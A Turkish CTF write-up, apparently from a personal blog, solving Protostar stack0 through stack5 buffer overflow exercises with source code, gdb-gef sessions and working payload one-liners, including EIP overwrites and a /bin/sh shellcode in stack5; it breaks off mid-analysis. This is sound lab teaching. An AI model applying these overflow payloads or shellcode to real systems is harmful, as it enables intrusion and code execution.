Avatar
Ben Süleyman ERGEN. Siber güvenlik benim alanımdır. Bol bol ctf çözer ve write-up yazarım. Burada ise edindiğim tecrübeleri ve bilgileri paylaşıyorum.

Protostar Stack Writeup

Protostar Stack Writeup

Stack0

Stack0 buffer overflow ile bellekteki yani stack teki verileri nasıl değiştirebilirizi gösteren basit bir örnek. Sorudaki binary dosyasının kaynak kodu şu şekilde:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

Kaynak kodda 64 karakterlik bir dizi tanımlanmış ve gets fonksiyonu ile veri okunarak veri okunarak bu diziye yazılıyor.

Aynı şekilde modified isminde bir değişken tanımlanıyor ve bu değişkenin değeri 0 olarak atanıyor. İşin ilginç tarafı bu değişken kaynak kodun herhangi bir yerinde değiştirilmemesine rağmen if ile kontrol yapılarak bir takım işlemleri yapılıyor.

gets fonksiyonunun açıklamasına baktığımızda ise Never use this function. yazdığını görüyoruz. Ne? Kullanmayalım mı? O zaman bu fonksiyon neden var?

Bu satırı okuduğumda da aynısı bana da oldu. gets fonksiyonu standart inputtan veri okuyarak bu veriyi bir buffera yazar. Bu işlemi yaparken herhangi bir uzunluk/sınır denetimi yapmaz. Bu kontrol yapılmadığı için de stacke fazladan veri yazılabilir hatta programın akışı değiştirilebilir.

Peki bu fonksiyon neden var. Bu fonksiyonu kullanmanın tehlikesi anlaşıldıktan sonra bu fonksiyon yerine kullanılabilecek başka fonksiyonlar geliştiriliyor elbette. Fakat hali hazırda yazılan kodları bir anda değiştirilemediği için BU FONKSİYON SADECE GERİYE DÖNÜK UYUMLULUK İÇİN VAR. Fakat her ne olursa olsun kullanılmaması gerekiyor. Çünkü kullanılması çok tehlikeli bir fonksiyon. Daha detaylı bilgi için gets fonksiyonunun man sayfasına bakabilirsiniz.

Bizim amacımız ise gets fonksiyonundaki zafiyeti kullanarak modified isimli değişkenin değerini değiştirmek. Peki bu nasıl olacak.

Kaynak koda tekrar baktığımızda 64 karakter uzunluğunda bir dizi tanımlandığını tekrardan görüyoruz. gets fonksiyonunda uzunluk kontrolü yoktu. Peki bir 64 karakterden daha fazla veri giriği yaptığımızda fazladan girdiğimiz veri nereye yazılacak? Tabiki stackte ne varsa onun üzerine.

Programı çalıştıralım.

user@protostar:/opt/protostar/bin$ ./stack0
Hello world burası ISPARTA
Try again?

Programı çalıştırıp Hello world burası ISPARTA yazısını input olarak girdikten sonra program normal bir şekilde sonlanıyor. 64 karakteri yani buffer boyutunu geçmedik. Herhangi bir sıkıntı yok.

Şimdi ise buffer boyutundan daha uzun bir şey girelim. Örnek aşağıda:

user@protostar:/opt/protostar/bin$ ./stack0 
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
you have changed the 'modified' variable

Görüldüğü üzere modified isimli değişkenin değeri değişti ve bu sayede programın akışı değişti. Daha detaya inmek gerekirse 64 karakter boyutundaki bufferımıza 64 karakter girdiğimizde kalan bir karakter stack üzerindeki başka bir değişkenin üzerine (bu örnekte modified) yazıldı. Bu da programın akışını değiştirdi.

Stack1

Bu soruda ise aynı olayın biraz değiştirilmiş veriyonu var. Kaynak kodu inceleyelim.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

Bir önceki soruda olduğu gibi 64 karakter uzunluğunda bir dizimiz var. Bu sefer kopyalama işlemi strcpy fonksiyonu ile yapılıyor. Bu foksiyonda gets fonksiyonunda olduğu gibi bir uzunluk kontrolüne sahip değil. Yani bir önceki sorudaki aynı zafiyet burada da var.

Diğer bir farklılık ise modified değişkeninin volatile anahtar kelimesi ile birlikte tanımlanıyor olması. Bu anahtar kelime değişkenin program dışından bir etki ile değişebileceğini ve derleyicinin bu değişkeni optirmize etmemesi gerektiğini belirtir.

Bi diğer farklılık ise bu soruda modified değişkeninin değerini belirli bir değere getirmemiz gerekiyor. O zaman başlayalım.

Programı çalıştırıyorum.

user@protostar:/opt/protostar/bin$ ./stack1 integerman
Try again, you got 0x00000000

64 karakterden daha az veri girdiğimizde program normal bir şekilde çalışıyor ve sonlanıyor. Burada bir sorun yok. 64 karakterden daha uzun bir değer girdiğimizde ise bir takım ilginçliklere rastlıyoruz.

user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "a"'`
Try again, you got 0x00000061

Görüldüğü üzere değişkenin değeri 0x00000061 olarak değişti. 61 a karakterinin hex karşılığıdır. Bunu python ile bulabiliriz.

>>> hex(ord("a"))
'0x61'

Burada olan şu biz 64 karakterden daha fazla veri girdiğimizde bu fazlalık modified değişkenine yazılıyor. Bu örnekte 65. karakter "a" olduğu için değişkenin değeri "0x61" olarak değişti. Daha fazla karakter ekleyerek bunu görebiliriz.

user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "abcd"'`
Try again, you got 0x64636261

Şimdi ise değişkenin değeri 0x64636261 oldu. Bu sayılar mantıklı gelmediyse şöyle açayım. a:61, b:62, c:63, d:64. Yani harflerin hex karşılıkları. Birleştirince "abcd" olarak karşımıza çıkıyor.

Girdiğimiz son 4 karakteri şöyle değiştirerek bu soruyuda çözebiliriz.

user@protostar:/opt/protostar/bin$ ./stack1 `python -c 'print "a"*64 + "dcba"'`
you have correctly got the variable to the right value

Stack2

Gelelim sıradaki soruya. Bu sorudada amaç aynı fakat girdiyi doğrudan program üzerinden almıyor. Kaynak koda bakalım.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

Buffer boyutumuz bir önceki soruda olduğu gibi 64 karakter. Aynı şekilde modified değişkenide de bir değişiklik yok.

Bu sorudaki farklılık girdiyi doğrudan almak yerine environment veriables denilen ortam değişkenlerinden alıyor.

Öncelikle şu önbilgiyi vererek devam edeyim: Linux dağıtımları çalışan kabukla ilgili ayarları ve mevcut durumdaki bilgileri değişkenlerde saklar. Biz bu değişkenlere "ortam değişkenleri" (environment veriables) diyoruz.

Program ise GREENIE isimli ortam değişkenini girdi olarak alıp strcpy ile bufferın içerisine yazıyor. Peki bu ortam değişkeninin uzunluğu 64 karakterden fazla olursa?

Öncelikle export anahtar kelimesi ile tanımladığımız ortam değişkeninin çalıştırdığımız programlar tarafından ulaşılabilir olmasını sağlıyoruz. Ardından ortam değişkenimiz için gerekli atamayı yapıyoruz. Atadığımız değer ise 64 tane a + 4 tane b.

user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "a"*64 + "b"*4'`
user@protostar:/opt/protostar/bin$ ./stack2
Try again, you got 0x62626262

Ardından programı çalıştırıyoruz. Ve sonuç 0x62626262. Tabikide şaşırmadınız. 64. karakterden sonraki girdiğimiz her karakter modified değişkenine yazıldı. Peki buraya 0x0d0a0d0a değerini nasıl yazacağız. Bu işlem için Python'da structlardan faydalanabiliriz. Bi örnekle açıklayalım.

>>> import struct
>>> struct.pack("I", 0x0d0a0d0a)
'\n\r\n\r'

Öncelikle struct paketini import ediyoruz. Ardından struct paketindeki pack fonksiyonu ile 0x0d0a0d0a değerini stacke yazmaya hazır hale getiriyoruz.

Daha detaya inecek olursak bizim yazdığımız değerler stack üzerine bizim verdiğimiz sıra ile yazılmaz. Biz değer olarak "abcd" değerini verdiğimizde bu değer stack üzerine "dcba" şeklinde yazılır ve bu şekilde saklanır. Aynı şekilde 0xaabbccdd değerini stacke yazmak için \xdd\xcc\xbb\xaa şeklinde şeklide girilmelidir. Bu birazda işlemcinin yada işletim sisteminin çalışma şekline bağlı olarak değişebilir. Bizim örneğimizde 0x0d0a0d0a değerini yazdırmak için bu değeri \xa0\x0d\x0a\x0d olarak girmeliyiz. Bu değerde \n\r\n\r değerine eşittir.

64 karakter ve pack fonksiyonundan dönen değeri gerekli ortam değişkenine atayarak istediğimiz sonuca ulaşabiliriz.

user@protostar:/opt/protostar/bin$ export GREENIE=`python -c 'print "a"*64 + "\n\r\n\r"'`
user@protostar:/opt/protostar/bin$ ./stack2
you have correctly modified the variable

Stack3

Bu soru ile birlikte işler biraz daha ilginçleşmeye başlıyor. Hemen kaynak koda bakalım.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

İlk satırı inceleyelim. volatile int (*fp)() satırı. Bu satır bir fonksiyon pointeri. Peki bu ne demek. Fonksiyon pointerları çalıştırılabilir makine kodlarının ilk adresini gösteren pointerlardır. Yani bu pointer ile fonksiyon adreslerini, shellcode adreslerini gösterebiliriz.

Bizim yazdığımız değer gets fonksiyonu ile buffer değişkenine yazılıyor. Hatırlayacağınız üzere gets fonksiyonunda boyut/uzunluk kontrolü yoktu. Tabikide buda bir zafiyet oluşturuyor.

Bu örnekte ise fp değişkeninin gösterdiği adresteki fonksiyonu çalıştırıyor. gets fonksiyonu ile girdi alındığı için fp değişkeninin değeri değiştirilebiliyor. Programı 64 tane a ve 4 tane b ile çalıştıralım.

user@protostar:/opt/protostar/bin$ ./stack3 
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbb
calling function pointer, jumping to 0x62626262
Segmentation fault

Öncelikle 64 tane "a" ile bufferı dolduruyoruz. Ardından girdiğimiz 4 byte ise fp değişkenine yazılacak. Yukarıdaki örnekte bu değişkene "bbbb" yani 0x62626262 değerini yazdırdık. Program bu noktada bu adresteki fonksiyonu çağırması gerekiyor. Fakat bu adreste tanımlı bir şey yok. Yada bu adrese ulaşamıyor. Bu yüzden çalışmaya devam edemiyor.

Bizim amacımızda bu adrese win fonksiyonunun adresini vermek. Bu şekilde normalde çağrılmaması gereken win fonksiyonunu çağırabiliriz. Peki bunu nasıl yapacağız. Ufaktan gdb ye girelim.

Gdb c ve c++ ile yazılmış programları debug etmek ve hata ayıklamak için kullanılan bir programdır. Bizde gdb ile kendi programımızı inceleyerek exploit kodumuzu yazacağız. Programımızı gdb ile inceleyelim.

user@protostar:/opt/protostar/bin$ gdb -q stack3
Reading symbols from /opt/protostar/bin/stack3...done.
(gdb) info functions 
All defined functions:

File stack3/stack3.c:
int main(int, char **);
void win(void);
. . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . .

Öncelikle programı gdb ile açıyorum. Ardından info functions komutu ile mevcut fonksiyonları listeliyorum. kaynay kodda da gördüğümüz fonksiyonları burada da görüyoruz. main ve win fonksiyonları yukarıdaki gibi listeleniyor.

Burada bize win fonksiyonunun adresi gerekiyor. Bu noktada bir diğer gdb komutu olan x ile bu fonksiyonun başladığı adresi yazdırıyorum.

(gdb) x win
0x8048424 <win>:	0x83e58955

Gördüğünüz üzere bu fonksiyon 0x8048424 adresinden başlıyor. Yani bir fp değişkeninin değerini bu değer ile değiştirebilirsek win fonksiyonunu çağırmış olacağız.

Öncelikle win fonksiyonunun adresini stacke yazmaya hazır hale getirmemiz gerekiyor. Bunun için Python'da struct paketini kullanabiliriz. Yada kendimiz manuel olarak elle yazabiliriz. Elde edeceğiniz değer şu şekilde olması gerekiyor "\x24\x84\x04\x08". Bu değeri 64 karakter (byte) dan sonra gönderdiğimiz zaman win fonksiyonu çalışması gerekiyor. O zaman deneyelim.

user@protostar:/opt/protostar/bin$ ./stack3 < <(python -c 'print "a"*64 + "$\x84\x04\x08"')
calling function pointer, jumping to 0x08048424
code flow successfully changed

Başarılı bir şekilde normalde çalışmaması gereken bir fonksiyonu çalıştırdık.

Stack4

Bu örnekte ise önemli registerlar içerisindeki bilgileri değişgirerek programın akışına nasıl müdahale edildiğini daha iyi anlayacağız. Öncelike Stack hakkında bilgi vererek başlayalım.

Stack Nedir ?

Stack program çalışırken kullanılan geçici değişkenlerin saklandığı bellek alanıdır. Yukarıdaki örneklerde kullanılan buffer, modified, fp gibi değişkenler program içerisinde yada fonksiyon içerisinde kullanılan geçici değişkenlerdir. Bu değişkenler stackte saklanır.

Peki stack yapısı nasıl ve bellekte (ram de) nasıl çalışıyor. Öncelikle bellekten başlayalım.

Program çalışırken belleğin yapısı yaklaşık olarak yukarıdaki gibidir. Yuksek adres değerlerinde kernele ait kodlar bulunur.

Kernelin altında stack bulunur. Bu kısım geçici değişkenlerin ve verilerin saklandığı kısımdır. Stack aşağıya doğru büyür. Bizim bu sorularda ilgilendiğimiz kısım daha çok burası.

Sonraki kısım ise heap. Burası dinamik olarak değişen değerverin ve verilerin bulunduğu kısımdır. Heap yukarı doğru büyür.

Ondan sonra gelen kısım Data kısmı. Burada da programla ilgili çeşitli bilgiler bulunur.

Text kısmı ise çalıştırılabilir makine kodlarının bulunduğu kısımdır. Bu bölüm aynı zamanda sadece okunabilirdir (read only). Çünkü burayı bozmak istemeyiz :)

Şimdi stacki biraz daha yakından inceleyelim.

Stack içerisinde mevcut fonksiyona ait parametreler bulunur. Bu fonksiyon main fonksiyonu olabileceği gibi başka bir fonksiyon da olabilir. Öncelikle stacke fonksiyonun parametreleri ters sıra ile yerleştirilir. Ardından fonksiyon görevini tamamladıktan sonra geri dönüş adresi stacke kaydedilir. Bu adres RET adresidir. Bu adresin hemen aşağısında EBP bulunur. Bu adres stack fremenin başlangıç adresidir. Stack frameni iç içe çağrılan fonksiyonların bölgelerini birbirinden ayıran bir sınır gibi düşünebilirsiniz. EBP nin altında ise fonksiyonda kullanılan geçici değişkenler saklanır. Bu değişkenlerden sonra ise ESP gelir. ESP stackin sonunu gösterir. Stacke eleman eklendikçe yada silindikçe ESP değişir.

Biz mevcut bir fonksiyondaki buffer overflow zafiyeti ile EBP ve RET değerlerini değiştirebiliriz. RET değerini değiştirerek fonksiyonun geri dönüş adresini değiştirebiliriz. Bu da demek oluyor ki programın akışını değiştirebiliriz.

Şimdi nerede kalmıştık. Hmm. Doğru daha soruya başlamadık.

Soru

Kaynak kodu inceleyerek başlayalım.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Görüdüğü üzere buffera gets fonksiyonu ile veri okunuyor ve yazılıyor. Bu fonksiyonda uzunluk kontrolü olmadığı için buffer overflow zafiyeti oluşuyor.

user@protostar:/opt/protostar/bin$ ./stack4
asdfasdfasdf

Programa 64 karakterden daha az bir şey girdiğimizde sorunsuz bir şekilde sonlanıyor. 64 karakterden uzun bir şey girmeyi deneyelim:

user@protostar:/opt/protostar/bin$ ./stack4
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Segmentation fault

Segmentation fault hatası ile karşılaştırk. Bu durumda gdb ile daha yakından inceleyelim.

Ben daha pratik olduğu için gdb-gef kullanıyorum. Gef binary exploitation konusunda yardımcı olmak için kullanılan bir gdb eklentisidir. Gef Github adresinden kendi bilgisayarınıza kurulumunu yapabilirsiniz.

Gdb de run yada daha kısa haliyle "r" komutu ile programı başlatabilirsiniz. Ben "r" ile başlatıp girdi olarak çok sayıda "a" karakterini veriyoruz. Ve çıktıyı inceleyelim.

stack4

Burada dikkatimizi çeken ön önemli satırlar şunlar.

[!] Cannot disassemble from $PC
[!] Cannot access memory at address 0x61616161

Bu satırlar diyor ki PC registerini çözümleyemiyorum. Dikkat ederseniz bu değer "6161616161" Yani a karakterinin hex karşılığı. Yani burada olan şey: bir çok fazla a karakteri girdik ve ebp nin hemen yukarısında bulunan RET değerini aaaa karakterleri ile değiştirdik. Tabilike fonksiyon bitince bu adresteki değere geri dönmeye çalışacak. Fakat burası geçerli bir adres değil. Bu yüzden dolayı program fonksiyondan geri dönemiyor ve çalışmaya devam edemiyor.

Anı şekilde çıktıdan stack alanını incelediğimizde ise aaa karakterleri ile dolduğunu rahat bir şekilde görebiliriz. Aynı şekilde esp ve ebp registerları nın değerlerininde aaaa olarak değiştirdik.

Bizim amacımız eip registerinin değerini değiştirerek programın akışını değiştirmek.

Öncelikle eip registerine kadar kaç byte (karakter) olduğunu öğrenmemiz gerekiyor. Bu işlem için pattern oluşturacağız. Pattern birbirini tekrar etmeyen eşsiz bir dizi gibi düşünebilirsiniz. Tekrar etmediği için 4 karakter verdiğimizde o karakterlerin tam olarak nereden başladığını bize söyleyecektir.

gef de pattern create komutu ile pattern oluşturuyorum. 100 karakterlik bir pattern bizim işimizi görecektir. Şimdi Bu patterni programa girdi olarak vererek tekrardan çalıştırıyorum.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hello/CTF/protostar/stack4/stack4 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa

Program received signal SIGSEGV, Segmentation fault.
0x61616174 in ?? ()
[ Legend: Modified register | Code | Heap | Stack | String ]
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
$eip   : 0x61616174 ("taaa"?)
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
[#0] Id 1, Name: "stack4", stopped 0x61616174 in ?? (), reason: SIGSEGV
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .

Gördüğünüz üzere eip registeri içerisine 0x61616174 yazılmış. Yani "taaa". Şimdi bu kısmın pattern içerisini yerini bulalım. Bunun için şu komutu kullanıyorum.

gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 76 (little-endian search) likely
[+] Found at offset 73 (big-endian search)

Evet pattern içerisinde 76 karakter olarak buldu. Yani 76. karakterden sonraki 4 karakter eip registeri içerisine yazılacak.

Hemen deneyelim.

gef➤  r < <(python2 -c 'print "a"*76 + "b"*4')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "b"*4')
. . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . .
Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()

Görüldüğü üzere eip üzerine 62626262 yani bbbb yazılmış. Şimdi buraya win fonksiyonunun adresi yazarsak ne olur ???

Öncelikle win fonksiyonunun adresini gdb ile buluyorum.

gef➤  x win
0x80483f4 <win>:	0x83e58955

Fonksiyon 0x80483f4 adresinde. Bu adresi stacke yazmaya hazır hale getirmeliyiz. Bunu manuel yada struct paketi ile yapabiliriz. Ben burada manuel yöntemi tercih edeceğim. Siz hangi yöntemi tercih ederseniz edin sonuç şu şekilde olması gerekiyor: '\xf4\x83\x04\x08'

Şimdi exploitimizi şu şekilde düzenleyelim ve çalıştıralım.

gef➤  r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08"')

stack4

Görüldüğü üzere normalde çalışmaması gereken bir fonksiyon çalıştı. Yani başarılı bir şekilde programın akışını değiştirdik.

Peki win fonksiyonu çalıştıktan sonra neden hata aldık. Çünkü win fonksiyonunun geri dönüş adresini ayarlamadık. Bunuda ayarlayabiliriz. Şu örneğe bakalım.

gef➤  r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "bbbb"')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "bbbb"')
code flow successfully changed

Program received signal SIGSEGV, Segmentation fault.
0x62626262 in ?? ()

Artık 62626262 yerine ne koymak istiyorsanız koyabilirsiniz. Ben olsam exit koyardım.

gef➤  p exit
$2 = {<text variable, no debug info>} 0xf7dfa170 <exit>
gef➤  r < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "\x70\xa1\xdf\xf7"')
Starting program: /home/hello/CTF/protostar/stack4/stack4 < <(python2 -c 'print "a"*76 + "\xf4\x83\x04\x08" + "\x70\xa1\xdf\xf7"')
code flow successfully changed
[Inferior 1 (process 36962) exited with code 014]

Artık istediğimizi yapıp programı başarılı bir şekilde sonlandırabiliyoruz.

Stack5

Bu soru ile beraber işler biraz daha ilginçleşmeye başlıyor. Kaynak koddan incelemeye başlayalım:

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

Görüldüğü üzere sadece veri okuyan bir main fonksiyonumuz var. Başkada bir şey yok. Bu sorudaki amacımız binary dosyası üzerinden /bin/sh komutunu çalıştırmak. Bunu yapmak için shellcode kullanacağız.

shellcode sistem üzerinde /bin/sh komutunu çalıştıran bir makine kodudur.

Eğer stackte bir yere shellcode koyup o kodun bulunduğu yeri fonksiyon gibi çalıştırabilirsek sistemde binary dosyası üzerinen komut çalıştırmış olacağız.

O zaman başlayalım. Ben öncelikle internetten shellcode bularak başlıyorum. Benim kullandığım shellcode şu: https://www.exploit-db.com/exploits/42428.

Programı gdb ile incelemeye başlıyorum. Öncelikle buffer boyutunu bulalım.

gef➤  pattern create 100
[+] Generating a pattern of 100 bytes
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
[+] Saved as '$_gef0'
gef➤  r
Starting program: /home/hello/CTF/protostar/stack5/stack5 
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaa
. . . . . . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . . . . . .
gef➤  pattern offset $eip
[+] Searching '$eip'
[+] Found at offset 76 (little-endian search) likely
[+] Found at offset 73 (big-endian search)

Görüldüğü üzere 76 byttan sonraki 4 byte eip registeri üzerine yazılacak. Buraya yazacağımız değere daha sonra geleceğim.

Şimdi exploit kodumuzu oluşturmaya başlayalım. Öncelikle shell kodu stackte yazmamız lazım. Ardından bufferi doldurup eip registerine yazdığımız shellkodun adresini vermemiz lazım. Basit bir tabirle şu şekilde: shellcode + çöp_veri + eip_registeri.

shellcode = "\x31\xc0\x99\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80"

payload  = ""
payload += shellcode
payload += "a" * (76 - len(shellcode))

Geriye sadece eip regiterine yazacağımız değere geldi. Burada size gadgetlerden bahsetmek istiyorum.

Gadget binary dosyalarında bulunan ret komutu ile sonlanan küçük programlardır. Genellikle bir kaç makine komutunu çalıştıran fonksiyonlar gibi düşünebilirsiniz. Bu küçük programlar sayesinde programın akışı istenilen herhangi bir yöne çekilebilir.

Bizde programda hali hazırda bulunan bir gadgeti seçerek stacke koyduğumuz shellkodu çalıştırabiliriz. Peki bunu nasıl yapacağız. Öncelikhan hangi gadgetların programda bulunduğuna bakalım. Bu işlem için birçok program ve tool var fakat ben ropper isimli aracı kullanacağım.

$ ropper -f stack5
[INFO] Load gadgets from cache
[LOAD] loading... 100%
[LOAD] removing double gadgets... 100%

Gadgets
=======

0x080483ae: adc bh, byte ptr [eax]; test eax, eax; je 0x3c1; mov dword ptr [esp], 0x80494b4; call eax; 
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
0x080483d4: call 0x2e8; leave; ret; 
0x0804848f: call 0x340; pop ecx; pop ebx; leave; ret; 
0x080482bf: call 0x450; pop eax; pop ebx; leave; ret; 
0x08048387: call 0x95ac0952; add al, 8; add dword ptr [ebx + 0x5d5b04c4], eax; ret; 
0x080483bf: call eax; 
0x080483bf: call eax; leave; ret; 
. . . . . . . . . . . . . . . . . . . . . . .
. . . . . . . . . . . . . . . . . . . . . . .
0x080483de: nop; nop; push ebp; mov ebp, esp; pop ebp; ret; 
0x080482a6: ret;

Gördüğünüz üzere gadgetları listeledik. Dikkat ederseniz sadece bir kaç makine kodunkan okuşuyorlar. Hatta bazıları 1 tane. Peki biz bunlarla ne yapacağız. İçlerinden bizim koyduğumuz shellkodu çalıştıran bir tanesini seçmemiz gerekiyor. Bunu nasıl seçeceğimizide programın çalışma anındaki durumuna bakarak karar vereceğiz. Gdb den programı biraz inceleyelim. Ben main fonksiyonunu disassmble ederek başlıyorum.

gef➤  disassemble main
Dump of assembler code for function main:
   0x080483c4 <+0>:	push   ebp
   0x080483c5 <+1>:	mov    ebp,esp
   0x080483c7 <+3>:	and    esp,0xfffffff0
   0x080483ca <+6>:	sub    esp,0x50
   0x080483cd <+9>:	lea    eax,[esp+0x10]
   0x080483d1 <+13>:	mov    DWORD PTR [esp],eax
   0x080483d4 <+16>:	call   0x80482e8 <gets@plt>
   0x080483d9 <+21>:	leave  
   0x080483da <+22>:	ret    
End of assembler dump.

Sırayla budataki olayları açıklayalım.

  1. 0x080483c4 ve 0x080483c5 satırları bir fonksiyon çağırılırken kullanılan makine kodlarını barındırıyor. Burada main fonksiyonu çağırıldığı için bu satırları görüyoruz. Daha detaylı olarak stackte bir fonksiyona ait stack frameni bu satırlar ayarlar.
  2. 0x080483c7 satırsa esp yi basit bir and işleminden geçiriyor.
  3. 0x080483ca satırda esp den 0x50 çıkarıyor. Hatırlarsanız stack aşağıya doğru büyüyen bir bellek alanıydı. Ve stackin en aşağısını yani sonunu esp registerinde saklıyorduk. Biz esp den 0x50 çıkardığımız zaman stack boyutunu 0x50 kadar arttırmış oluyoruz aslında. Bu sayede bu arttırdığımız alana yeni veriler koyabileceğiz.
  4. 0x080483d1 ve 0x080483d1 satırlarında esp+0x10 adresini eax registerine yüklüyor. Daha sonra ise bu değeri esp nin gösterdiği adrese taşıyor.
  5. 0x080483d4 satırında call 0x80482e8 <gets@plt> komutuyla nihayet gets fonksiyonunu çalıştırıyor. Bu satırdan önceki satırları gerekli bellek alanını ayırmak ve bu fonksiyonu çağırmak için gerekli hazırlıklar olduğu şeklinde değerlendirebiliriz.

Ben tam gets fonksiyonu çağırılırken programın durumunu öğrenmek için "breakpoint" koymak istiyorum. Breakpoint programın belli bir anında çalışmasını durdurmak için kullanılan bir işarettir. Program gets fonksiyonu çağırılmadan önce durduğunda bellek alanlarını ve registerları inceleyebileceğiz. O zaman başlayalım.

Break komutuyla breakpoint koyabiliriz. Breakpoint koymak istediğimiz yer özel bir adres olduğu için başına yıldız koymamız gerekiyor. Ve ardından programı çalıştırıyoruz.

gef➤  break *0x080483d4
Breakpoint 2 at 0x80483d4: file stack5/stack5.c, line 10.
gef➤  r
............................................................................................
───────────────────────────────────────────────────────────────────────────── registers ────
$eax   : 0xffffce40  →  0xf7fab000  →  0x001e9d6c
$ebx   : 0x0       
$ecx   : 0x552400d0
$edx   : 0xffffceb4  →  0x00000000
$esp   : 0xffffce30  →  0xffffce40  →  0xf7fab000  →  0x001e9d6c
$ebp   : 0xffffce88  →  0x00000000
$esi   : 0xf7fab000  →  0x001e9d6c
$edi   : 0xf7fab000  →  0x001e9d6c
$eip   : 0x080483d4  →  0xffff0fe8  →  0x00000000
$eflags: [zero carry PARITY adjust SIGN trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0023 $ss: 0x002b $ds: 0x002b $es: 0x002b $fs: 0x0000 $gs: 0x0063 
───────────────────────────────────────────────────────────────────────────────── stack ────
0xffffce30│+0x0000: 0xffffce40  →  0xf7fab000  →  0x001e9d6c	 ← $esp
0xffffce34│+0x0004: 0xf7fab000  →  0x001e9d6c
0xffffce38│+0x0008: 0xf7ffc7e0  →  0x00000000
0xffffce3c│+0x000c: 0xf7faec68  →  0x00000000
0xffffce40│+0x0010: 0xf7fab000  →  0x001e9d6c
0xffffce44│+0x0014: 0x0804958c  →  0x080494b8  →  <_DYNAMIC+0> add DWORD PTR [eax], eax
0xffffce48│+0x0018: 0xffffce58  →  0xffffce88  →  0x00000000
0xffffce4c│+0x001c: 0x080482c4  →  <_init+44> pop eax
─────────────────────────────────────────────────────────────────────────── code:x86:32 ────
    0x80483c9 <main+5>         lock   sub esp, 0x50
    0x80483cd <main+9>         lea    eax, [esp+0x10]
    0x80483d1 <main+13>        mov    DWORD PTR [esp], eax
 →  0x80483d4 <main+16>        call   0x80482e8 <gets@plt>
   ↳   0x80482e8 <gets@plt+0>     jmp    DWORD PTR ds:0x804959c
       0x80482ee <gets@plt+6>     push   0x8
       0x80482f3 <gets@plt+11>    jmp    0x80482c8
       0x80482f8 <__libc_start_main@plt+0> jmp    DWORD PTR ds:0x80495a0
       0x80482fe <__libc_start_main@plt+6> push   0x10
